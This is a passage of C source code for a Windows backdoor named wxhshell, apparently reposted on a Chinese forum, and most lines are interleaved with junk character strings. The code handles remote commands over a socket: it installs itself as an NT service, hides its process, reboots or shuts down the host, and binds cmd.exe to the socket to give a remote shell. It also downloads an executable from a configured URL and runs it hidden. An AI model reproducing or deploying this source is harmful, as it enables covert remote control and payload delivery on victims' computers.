  else { n1U!od  
\wV^uS   
    switch(cmd[0]) { O=[Q >\p  
  N_^PoX935O  
  // 帮助 u{-@,-{  
  case '?': { q4#$ca[_ak  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @cr/&  
    break; O llS  
  } mv,5Q6!  
  // 安装 B[ .$<$}G  
  case 'i': { z+Guu8  
    if(Install()) v,'k 2H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;kI)j ?  
    else 4Ei8G]O $_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [g bFs-B2/  
    break; 1Q_Q-Z  
    } KpBOmXE  
  // 卸载 5e3p9K`5  
  case 'r': { gvFJ~lL  
    if(Uninstall()) ExhK\J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9^u}~e #(  
    else  J8-K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7W'&v+\  
    break; `?{6L#  
    } q`'m:{8  
  // 显示 wxhshell 所在路径 cQkj{u  
  case 'p': { )K8 ^}L,  
    char svExeFile[MAX_PATH]; /X]gm\x7s  
    strcpy(svExeFile,"\n\r"); s~QIs  
      strcat(svExeFile,ExeFile); /Y=_EOS  
        send(wsh,svExeFile,strlen(svExeFile),0); s3Wjhw/  
    break; j0=F__H#@  
    } 9u)p9)^-.v  
  // 重启 `Ez8!d{MD8  
  case 'b': { Y qmsL<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); We++DWp  
    if(Boot(REBOOT)) 1N_T/I8_F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O{7rIy  
    else { {)iiu  
    closesocket(wsh); 3:O|p[2)L  
    ExitThread(0);  aGOS 9  
    } XuWX@cK  
    break; .]H/u "d  
    } %+ nM4)h  
  // 关机 h3bQ<?m  
  case 'd': { 7H*,HZc@=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q;N)$Xx  
    if(Boot(SHUTDOWN)) : t9sAD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?V}ub>J/=  
    else { |$;4/cKfy  
    closesocket(wsh); w/ ^_w5  
    ExitThread(0); b*W,8HF4,  
    } 7;c^*"Ud  
    break; a"i(.(9$J  
    } RH{+8?0  
  // 获取shell p$G3<Z&7  
  case 's': { _Ss}dU9  
    CmdShell(wsh); )Tieef*Q~  
    closesocket(wsh); k.7!)jL7  
    ExitThread(0); )Z/$;7]#  
    break; <"K2t Tg.  
  } n=)LB& m  
  // 退出 S|xwYaoy%  
  case 'x': { M@l|n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dDSb1TM  
    CloseIt(wsh); }.(DQwC}1k  
    break; z;?ztpa@  
    } yZ!~m3Q  
  // 离开 qRgFVX+vc  
  case 'q': { w:9`R<L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5VpqDL~d  
    closesocket(wsh); =`*@OJHH  
    WSACleanup(); >0[:uu,'>  
    exit(1); fN@ZJ~F%j  
    break; P* i 'uN  
        } ~+d{:WY  
  } AFM+`{Cq  
  } "N ">RjJ"  
U'msHF  
  // 提示信息 T{2)d]Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Pz#czo  
} FGPqF;  
  } ps?su`  
dGj0;3FI%  
  return; tK@7t0  
} V;g) P  
-+u}u=z%  
// shell模块句柄 =>lX brJ  
int CmdShell(SOCKET sock) ; wxmSX9  
{ |'&$VzA  
STARTUPINFO si; =f H5 r_n  
ZeroMemory(&si,sizeof(si)); BeLqk3'/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +)bn}L>R l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3.Yg3&"Z  
PROCESS_INFORMATION ProcessInfo; d2NFdBoI  
char cmdline[]="cmd"; WVsj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E<}sGzMc  
  return 0; CJh,-w{wJ"  
} pouXt-%2X  
q.<)0nk  
// 自身启动模式 /P-#y@I  
int StartFromService(void) 9D &vxKE  
{ *5 9|  
typedef struct `1n^~  
{ Z m%,L$F*L  
  DWORD ExitStatus; D5oYcGc  
  DWORD PebBaseAddress; 1_Ks*7vuq  
  DWORD AffinityMask; PNd'21N  
  DWORD BasePriority;  @;KYvDY  
  ULONG UniqueProcessId; si)>:e  
  ULONG InheritedFromUniqueProcessId; Nd"IW${Kg  
}   PROCESS_BASIC_INFORMATION; m&b1H9ymd  
h_ccE 6]t  
PROCNTQSIP NtQueryInformationProcess; A`JE(cIz3  
2LR y/ah  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fVgN8b|&'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I^( pZ9  
x:4R?!M.  
  HANDLE             hProcess; 7]{t^*  
  PROCESS_BASIC_INFORMATION pbi; nS h~ mP  
J_7@d]0R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CshME\/  
  if(NULL == hInst ) return 0; 16]Ay&Kn!  
lyFlJmi,r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~OsLbz:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N$ #~&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PYWFz   
2HSFMgy  
  if (!NtQueryInformationProcess) return 0; i$p2am8f  
- AgD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k!z<=WA  
  if(!hProcess) return 0; ]Jm\k'u[  
u=qaz7E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U?Dr0wD;[  
/O.Ql ,6[  
  CloseHandle(hProcess); )+'=Zvgej=  
=H8FV09x}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1fsNQ!vQP  
if(hProcess==NULL) return 0; =n ,1*  
!W8=\:D[  
HMODULE hMod; szhSI  
char procName[255]; DZ\ '7%c  
unsigned long cbNeeded; wu eDedz\  
Lfcy#3!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B|"/bQ  
7FPSBvU#/  
  CloseHandle(hProcess); 4)OOj14-V  
X<.l(9$  
if(strstr(procName,"services")) return 1; // 以服务启动 $0K@= 7ms  
<uS/8MP{  
  return 0; // 注册表启动 3Mm_xYDud  
} 0SWqC@AR%  
G/FDD{y  
// 主模块 RCYv2=m>Q  
int StartWxhshell(LPSTR lpCmdLine) &y1iLk h^  
{ 0&fO)de96  
  SOCKET wsl; yA"?Hv\o;  
BOOL val=TRUE; )D#}/3s  
  int port=0; eGg6wd  
  struct sockaddr_in door; B+~ /-3  
c1i:m'b_5  
  if(wscfg.ws_autoins) Install(); # $k1w@  
Yb`b /BMR  
port=atoi(lpCmdLine); (0#$%US\  
!~%DR~^`  
if(port<=0) port=wscfg.ws_port; 4Eu'_>"a  
D&"lu*"tg  
  WSADATA data; d>mZY66P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \b $pH  
Ssz;d&93  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "P@ SR`v#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w0Nm.=I-   
  door.sin_family = AF_INET; ,D*bLXWh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G1e_pszD{o  
  door.sin_port = htons(port); / [49iIzC  
'dh{q`#0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ns1n|^9  
closesocket(wsl); r,.j^a  
return 1; EATVce]T  
} #oa>Z.?_V  
D8u`6/^  
  if(listen(wsl,2) == INVALID_SOCKET) { T:'JA  
closesocket(wsl); 5yK#;!:h  
return 1; d9U)O6=  
} u0arJU_.)  
  Wxhshell(wsl); ]i6* $qgma  
  WSACleanup(); \+sa[jK  
;A@DE@^5w  
return 0; F.aG7  
N0^SWA|S  
} jlF3LK)9q  
a}f /<-L  
// 以NT服务方式启动 <EgJm`V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {_*G"A 9  
{ "&f|<g5  
DWORD   status = 0; \xggIW.^0  
  DWORD   specificError = 0xfffffff; R!"|~OO  
Or?c21un  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X[tB^`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #[x*0K-h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0{ B<A^Bf  
  serviceStatus.dwWin32ExitCode     = 0; j2IK\~W?-  
  serviceStatus.dwServiceSpecificExitCode = 0; BI-'&kPk  
  serviceStatus.dwCheckPoint       = 0; o[ks-C>jw  
  serviceStatus.dwWaitHint       = 0; }T\.;$f  
2*O# m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^?(#%~NS  
  if (hServiceStatusHandle==0) return; }za pN v  
Y7g%nz[[  
status = GetLastError(); ,4'y(X<R  
  if (status!=NO_ERROR) Zqe$S +u  
{ f1'X<VA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C@:X9NU  
    serviceStatus.dwCheckPoint       = 0; FGP^rTP)e  
    serviceStatus.dwWaitHint       = 0; /ivVqOo  
    serviceStatus.dwWin32ExitCode     = status; Yl'8" \HF  
    serviceStatus.dwServiceSpecificExitCode = specificError; Dzu//_u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BH~zeJ*Pr  
    return; 'a JE+  
  } c;"e&tW  
KFO K%vbM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <Fx%P:d  
  serviceStatus.dwCheckPoint       = 0; W<#!He  
  serviceStatus.dwWaitHint       = 0; <XDnAv0t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {.e+?V2>_  
} '/ \*l<  
'&,p>aM  
// 处理NT服务事件,比如:启动、停止 ,9I-3**W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Twd*HH  
{ ~XWBLU<  
switch(fdwControl) u8>aO>(bVg  
{ G}l9 [lE  
case SERVICE_CONTROL_STOP: Iq,h}7C8'  
  serviceStatus.dwWin32ExitCode = 0; Vq-Kl[-|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `p* 43nV  
  serviceStatus.dwCheckPoint   = 0; aN*{nW  
  serviceStatus.dwWaitHint     = 0; -R]~kGa6m<  
  { H?Sv6W.~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2BF455e   
  } O>nMeU  
  return;  *BM#fe  
case SERVICE_CONTROL_PAUSE: acke q#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P`Now7! GW  
  break; D4hT Hh  
case SERVICE_CONTROL_CONTINUE: U*yOe*>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QP50.P5g  
  break; dwUDhQt3Q  
case SERVICE_CONTROL_INTERROGATE: +UX~'t_'v  
  break; <+ [N*  
}; B?^~1Ua9Zv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J;wBS w%1  
} Q=DMfJ"  
l"`VvW[  
// 标准应用程序主函数 _e>N3fT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @VIY=qh  
{ wY%t# [T3  
t@MUNW`Q  
// 获取操作系统版本 0`WFuFi^o  
OsIsNt=GetOsVer(); $n!5JS@40  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J| wk})?  
FF^h(Ea  
  // 从命令行安装 1Vz^?t:  
  if(strpbrk(lpCmdLine,"iI")) Install(); "PN4{"`V  
VKYljY0#  
  // 下载执行文件 b|Ge#o  
if(wscfg.ws_downexe) { C_q2bI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oO3 ^9?Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); svxjad@l/  
} V*2 * 5hx  
"bRjY?D  
if(!OsIsNt) { /\mYXi \  
// 如果时win9x,隐藏进程并且设置为注册表启动 LQ%QFfC  
HideProc(); E.Th}+  
StartWxhshell(lpCmdLine); $vO<v<I'Gb  
} <{;'0> ToM  
else @oH\r-jsgu  
  if(StartFromService()) .XeZjoJ$z  
  // 以服务方式启动 EJ<L,QH3  
  StartServiceCtrlDispatcher(DispatchTable); /&47qU4PJ  
else wVI_SQ<8V  
  // 普通方式启动 _s0)Dl6K  
  StartWxhshell(lpCmdLine); [) >Yp-n  
C}3a  ^j  
return 0; l4taD!WD/  
}
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只看该作者 1 发表于: 2006-10-10
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